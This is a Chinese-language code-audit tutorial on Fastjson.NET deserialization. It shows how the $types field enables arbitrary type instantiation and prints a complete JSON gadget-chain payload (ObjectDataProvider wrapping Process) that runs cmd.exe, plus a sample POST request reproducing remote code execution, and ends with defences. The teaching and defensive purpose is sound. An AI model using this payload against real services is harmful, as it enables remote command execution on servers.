.NET高级代码审计(第三课)Fastjson反序列化漏洞
字数 1030 2025-08-26 22:11:29
.NET Fastjson反序列化漏洞深入分析与复现
0x00 前言
Fastjson是一个高性能的.NET JSON处理库,作者宣称它是读写JSON效率最高的.NET组件。与Java领域的Fastjson类似,.NET版本的Fastjson也存在反序列化安全问题。本文将深入分析其原理、漏洞利用方式及防御措施。
0x01 Fastjson序列化机制
基本使用
Fastjson通过JSON.ToJSON方法实现.NET对象与JSON数据之间的转换:
// 定义测试类
public class TestClass {
public string ClassName;
public string ClassName2;
public string ClassName3;
public static void ClassMethod(string cmd) {
Process.Start(cmd);
}
}
// 序列化示例
var test = new TestClass {
ClassName = "Ivan1ee",
ClassName2 = "Ivan1ee",
ClassName3 = null
};
JSONParameters jsonParameters = new JSONParameters {
UseExtensions = true, // 获取类全限定名
SerializeNullValues = false // 不序列化null值
};
string json = JSON.ToJSON(test, jsonParameters);
序列化输出
序列化后的JSON数据包含$types字段,存储了对象的类型信息:
{
"$types": {
"TestClass, AssemblyName": "1"
},
"$type": "1",
"ClassName": "Ivan1ee",
"ClassName2": "Ivan1ee"
}
关键参数说明:
UseExtensions:设置为true时会在JSON中包含类型信息SerializeNullValues:控制是否序列化null值
0x02 Fastjson反序列化漏洞
漏洞原理
当攻击者能够控制$types字段时,可以指定任意类型进行反序列化,结合ObjectDataProvider类可实现任意方法调用。
漏洞利用步骤
- 构造ProcessStartInfo对象:
Type t3 = typeof(ProcessStartInfo);
PropertyInfo propertyName = t3.GetProperty("FileName");
PropertyInfo propertyArgs = t3.GetProperty("Arguments");
ProcessStartInfo myProcess = new ProcessStartInfo();
propertyName.SetValue(myProcess, "cmd.exe", null);
propertyArgs.SetValue(myProcess, "/c calc", null);
- 构造Process对象并关联ProcessStartInfo:
Type t2 = typeof(Process);
PropertyInfo propertyStartInfo = t2.GetProperty("StartInfo");
Process myProcess2 = new Process();
propertyStartInfo.SetValue(myProcess2, myProcess, null);
- 使用ObjectDataProvider包装:
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = myProcess2;
objectDataProvider.MethodName = "Start";
- 生成最终Payload:
{
"$types": {
"System.Diagnostics.Process, System": "1",
"System.Diagnostics.ProcessStartInfo, System": "2",
"System.ObjectDataProvider, PresentationFramework": "3"
},
"$type": "3",
"ObjectInstance": {
"$type": "1",
"StartInfo": {
"$type": "2",
"FileName": "cmd.exe",
"Arguments": "/c calc"
}
},
"MethodName": "Start"
}
漏洞触发方式
Fastjson提供了多个ToObject重载方法,均可触发漏洞:
// 以下方式均可触发
JSON.ToObject(payload);
JSON.ToObject(payload, new JSONParameters());
0x03 代码审计视角
危险模式识别
查找代码中直接使用JSON.ToObject反序列化用户可控数据的场景:
public class JSONSerializer {
public static object Deserialize(string json) {
return JSON.ToObject(json); // 危险!
}
}
实际案例
GitHub上存在大量不安全的使用案例,如直接反序列化用户输入的JSON数据。
0x04 漏洞复现演示
- 搭建测试Web应用
- 构造恶意POST请求:
POST /Default HTTP/1.1 Host: localhost:5651 {"$types":{"System.Diagnostics.Process, System":"1"...},"$type":"3"...} - 服务端反序列化触发计算器弹出:
string value = Request.Form["value"]; JSON.ToObject(value); // 触发RCE
0x05 防御措施
- 输入验证:严格校验反序列化的JSON数据
- 类型限制:使用白名单机制限制可反序列化的类型
- 替代方案:考虑使用更安全的JSON库如Newtonsoft.Json
- 配置安全:确保
UseExtensions设置为false(但可能影响功能)
0x06 总结
Fastjson因其性能优势曾占有一席之地,但随着Newtonsoft.Json的性能提升,Fastjson逐渐小众化。从安全角度看,Fastjson的反序列化漏洞利用成本低,危害大,在代码审计配合下可造成严重安全后果。开发人员应避免直接反序列化不可信数据,并考虑迁移到更安全的主流JSON库。